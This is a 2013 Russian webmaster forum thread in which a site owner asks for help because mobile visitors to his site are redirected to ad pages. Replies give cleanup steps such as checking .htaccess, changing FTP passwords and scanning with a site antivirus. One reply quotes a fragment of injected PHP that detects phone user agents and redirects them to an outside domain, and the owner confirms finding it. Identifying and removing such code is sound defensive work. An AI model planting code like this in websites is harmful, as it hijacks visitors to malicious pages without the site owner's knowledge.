Заражен сайт помогите

Сообщений: 131 Регистрация: Авг 2012

14 Апреля 2013 23:42

Здравствуйте. В меня такая проблема: постоянно заражаются сайты если заходить на сайт из телефона сразу перекидывает на рекламу скачать приложение и тд... хотя я рекламу даже не ставлю на сайт никакую. Сам сайт windrom.ruОбновлял движок и шаблон не помогло, помогите пожалуйста)

Позитивный человек

moretz-rf

Сообщений: 267 Регистрация: Апр 2013

14 Апреля 2013 23:50

Цитата

Позитивчег пишет:
Здравствуйте. В меня такая проблема: постоянно заражаются сайты если заходить на сайт из телефона сразу перекидывает на рекламу скачать приложение и тд... хотя я рекламу даже не ставлю на сайт никакую. Сам сайт windrom.ruОбновлял движок и шаблон не помогло, помогите пожалуйста)

Совет: Купите хостинг хотя бы за 600 рублей в месяц, и движок платный!!!

Изменено: moretz-rf - 14 Апреля 2013 23:51

Позитивчег

Сообщений: 131 Регистрация: Авг 2012

14 Апреля 2013 23:53

Вы скажите по сути в чем проблема именно где может скрипт залит, но я ничего не нашел

mazesk

Сообщений: 105 Регистрация: Янв 2013

15 Апреля 2013 00:06

Цитата
Совет: Купите хостинг хотя бы за 600 рублей в месяц, и движок платный!!!

При чем тут вообще хостинг?? Тем более за такую баснословную цену. Или лишь бы ляпнуть что нибудь?
Автору - поищите заразу в .htaccess. Даже если у главного домена на хостинге там зараза сидит, то и дополнительные домены все будут редиректить на мобильную хрень. Потом поменяйте пароли на фтп и на хостинге

Coder

Сообщений: 10709 Регистрация: Мар 2013

15 Апреля 2013 00:06

1. проверьте тщательно компы, с которых подсоединяетесь к сайту - фтп, антивирусными программами
2. Удалите из фтп клиентов все сохраненные пароли.
3. Поменяйте все фтп пароли.
4. проверьте все файлы, особенно вновь измененные и сравните с эталонными от СМС
5. Проверьте все js скрипты
6. скачайте скрипт Ай-Болит: revisium.com/ai/
7. примерно так. если шаблон шарезный или нуленая смс, то обратите внимание - вредоносное может быть зашито в них изначально.

Дополнительно по ай-болиту: revisium.com/kb/scan_site_windows.html

Изменено: Coder - 15 Апреля 2013 00:10

✓ Проверенные скрипты и полезности для сайта

✓ Курсы

✓ Сервис временных ссылок

Позитивчег

Сообщений: 131 Регистрация: Авг 2012

15 Апреля 2013 00:10

обновлял полностью все файлы ничего не помогает в том числе и htaccess, при заходе с тела сразу редирект на вирусняк

Позитивчег

Сообщений: 131 Регистрация: Авг 2012

15 Апреля 2013 00:10

хостинг moyhosting.com

Coder

Сообщений: 10709 Регистрация: Мар 2013

15 Апреля 2013 00:13

По ай-болиту посмотрите еще здесь: revisium.com/kb/virusonsite.html

mazesk

Сообщений: 105 Регистрация: Янв 2013

15 Апреля 2013 00:16

Айболит чет мне не помог. Больше минуты не сканирует, а файлов много и не успевал за это время. Приходилось вручную искать

Coder

Сообщений: 10709 Регистрация: Мар 2013

#10

15 Апреля 2013 00:24

Цитата
mazesk пишет: Приходилось вручную искать

Все механизированные средства лишь дополнения к работе самого человека. Но при неприятности лучше воспользоваться всем, что имеется - больше вероятность качества.

fortnoxby

Сообщений: 390 Регистрация: Авг 2012

#11

15 Апреля 2013 00:27

Смотри файл dbconfig.php, index.php, init.php, enige.php и файл языков website.lng на наличе примерно такого кода:

Код

$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");

if ($iphone || $android || $palmpre || $ipod || $berry === true) { 
    header('Location: http://statuses.ws/');

Coder

Сообщений: 10709 Регистрация: Мар 2013

#12

15 Апреля 2013 00:28

Цитата
mazesk пишет: поищите заразу в .htaccess

Редирект может быть и средствами php и js : htaccesstools.com/articles/redirection/

mazesk

Сообщений: 105 Регистрация: Янв 2013

#13

15 Апреля 2013 00:30

Да я ж не против

Позитивчег

Сообщений: 131 Регистрация: Авг 2012

#14

15 Апреля 2013 00:33

Цитата

fortnoxby пишет:
Смотри файл dbconfig.php, index.php, init.php, enige.php и файл языков website.lng на наличе примерно такого кода:

Код

 $iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");

if ($iphone || $android || $palmpre || $ipod || $berry === true) { 
    header('Location: http://statuses.ws/');

да действительно есть такое) интересно как оно туда попало?

Coder

Сообщений: 10709 Регистрация: Мар 2013

#15

15 Апреля 2013 00:33

Цитата
mazesk пишет: Да я ж не против

Я это к тому, что лучше бы везде искать, и сразу по всем возможным направлениям.

Похожие темы:

27.01.2026 15:14	DLE не создает бэкап с админки сайта, как быть?
23.02.2020 20:28	Перевод сайта на англ.язык
28.07.2019 09:45	Перенос описания категории вниз сайта, под посты
26.06.2019 18:48	Сайт неправильно отдаёт 404
17.06.2019 09:37	Помощь по сайту

Читают тему (гостей: 1, пользователей: 0, из них скрытых: 0)

Новые темы	Объявления	Свободное общение
20:18 ЕС душит ТикТок: прощай бесконечная лента и RPM? Что с монетизацией? 20:14 Гугл пухнет от кеша, а нам - крошки. Разбор $114 млрд: Адсенс в минусе, Ютуб на подписках 20:11 01.02. Апдейт 31.01 // Chrome готовит "чёрную метку" для ИИ? 18:53 Кнопки "скрыть" и "пожаловаться" в рекламе яндекса 15:29 OpenAI и шейхи: Цензура на продажу и "гибкие" идеалы амеров 13:26 Как безопасно купить Гугл почту? 10:59 WB и Ozon - новые "русские поисковики"? Яндекс теряет коммерческую выдачу	00:01 E-currency.exchange — ваш помощник в мире обменов 23:40 Monitex: Мониторинг с кэшбэком 80% в USDT 22:35 BestX24 - быстрый и безопасный обменник криптовалют и электронных денежных средств 18:41 Веривикация Авито 17:37 Продам аккаунты Gmail USA IP \| Gmail MIX IP \| Outlook Old 16:31 JustProxy.Biz - Резидентные прокси без ограничения по трафику 15:39 Создам под вашу нишу сетку сайтов-сателлитов для привлечения целевого трафика	23:34 Точные прогнозы на футбол 21:04 Кулеры и БП станут золотыми? Медь по 13 штук, олово в космосе 19:29 FIFA и Assassin’s Creed воруют пароли: В репаки зашили лютый стиллер. Чекаем логи 19:24 Туалетные секреты: Замурчательная тема 19:15 Сайты Рунета 15:15 ИИ-театр для инвесторов: почему виральные посты в Moltbook писали люди и в чем подвох OpenClaw 08:50 Гильотина для классиков: Клод доедает физические книги